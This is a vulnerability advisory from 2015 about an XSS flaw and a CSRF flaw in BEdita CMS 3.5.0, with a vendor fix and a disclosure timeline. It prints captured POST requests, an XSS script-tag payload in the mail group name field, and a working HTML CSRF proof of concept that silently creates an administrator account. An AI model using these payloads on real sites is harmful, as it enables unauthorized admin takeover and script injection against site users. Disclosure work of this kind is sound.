BEdita CMS 3.5.0 Cross Site Request Forgery / Cross Site Scripting

`BEdita CMS - XSS & CSRF Vulnerability in Version 3.5.0  
  
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Product Information:  
  
Software: BEdita CMS  
Tested Version: 3.5.0, released 19.1.2015  
Vulnerability Type: Cross-Site Scripting (CWE-79) & Cross-Site Request Forgery, CSRF (CWE-352)  
Download link: http://www.bedita.com/download-bedita  
Description: A software to create, manage content and organize it with semantic rules. (copied from http://www.bedita.com/what-is-bedita)  
  
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Issues:  
  
1) XSS in newsletter mail group creation page.  
2) CSRF in user creation page.  
  
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Vulnerability description:  
  
1) XSS in newsletter mail group creation page  
  
When an authenticated user of BEdita CMS is creating a newsletter mail group, the following POST request is sent to the server:  
  
POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/saveMailGroups HTTP/1.1  
Host: 127.0.0.1  
Proxy-Connection: keep-alive  
Content-Length: 523  
Cache-Control: max-age=0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Origin: http://127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36  
Content-Type: application/x-www-form-urlencoded  
Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/viewMailGroup/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.8  
Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132  
  
data[MailGroup][id]=&data[MailGroup][group_name]=<script>alert(0)</script>&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user],   
  
your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user],   
  
you+have+been+unsubscribed+from "[$title]"  
  
The parameter data[MailGroup][group_name] is vulnerable to XSS.  
  
2) CSRF in user creation page  
  
When an authenticated administrative user of BEdita CMS is creating an user, the following POST request is sent to the server:  
  
POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser HTTP/1.1  
Host: 127.0.0.1  
Proxy-Connection: keep-alive  
Content-Length: 339  
Cache-Control: max-age=0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Origin: http://127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36  
Content-Type: application/x-www-form-urlencoded  
Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/viewUser  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.8  
Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132  
  
data[User][auth_type]=bedita&data[User][userid]=csrfadmin99&data[User][auth_params][userid]=&pwd=1qazXSW@&data[User][passwd]=1qazXSW@&data[User][realname]=csrfadmin99&data[User][email][email protected]&data[User][valid]=1&groups=&data[groups][administrator]=on  
  
By executing the following Proof-of-Concept, a new user called "csrfadmin99" will be created with the password "1qazXSW@".  
  
<html>  
<body>  
<form action="http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser" method="POST">  
<input type="hidden" name="data[User][auth_type]" value="bedita" />  
<input type="hidden" name="data[User][userid]" value="csrfadmin99" />  
<input type="hidden" name="pwd" value="1qazXSW@" />  
<input type="hidden" name="data[User][passwd]" value="1qazXSW@" />  
<input type="hidden" name="data[User][realname]" value="csrfadmin99" />  
<input type="hidden" name="data[User][email]" value="[email protected]" />  
<input type="hidden" name="data[User][valid]" value="1" />  
<input type="hidden" name="data[groups][administrator]" value="on" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
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Impact:  
  
1) An attacker is able to leverage on the XSS vulnerability to exploit users of BEdita. An example would be to Inject malicious JavaScript code in order to use attacking tools like BeEF.  
2) An attacker is able to create an user account with administrator privilege.  
  
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Solution:  
  
Update to the latest version, which is 3.5.1, see https://groups.google.com/forum/?fromgroups#!topic/bedita/SOYrl5C-YRg  
  
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Timeline:  
  
Vulnerability found: 11.2.2015  
Vendor informed: 11.2.2015  
Response by vendor: 11.2.2015  
Fix by vendor 19.2.2015  
Public Advisory: 1.3.2015  
  
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References:  
https://github.com/bedita/bedita/issues/591  
https://github.com/bedita/bedita/issues/597  
  
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Best regards,  
Edric Teo  
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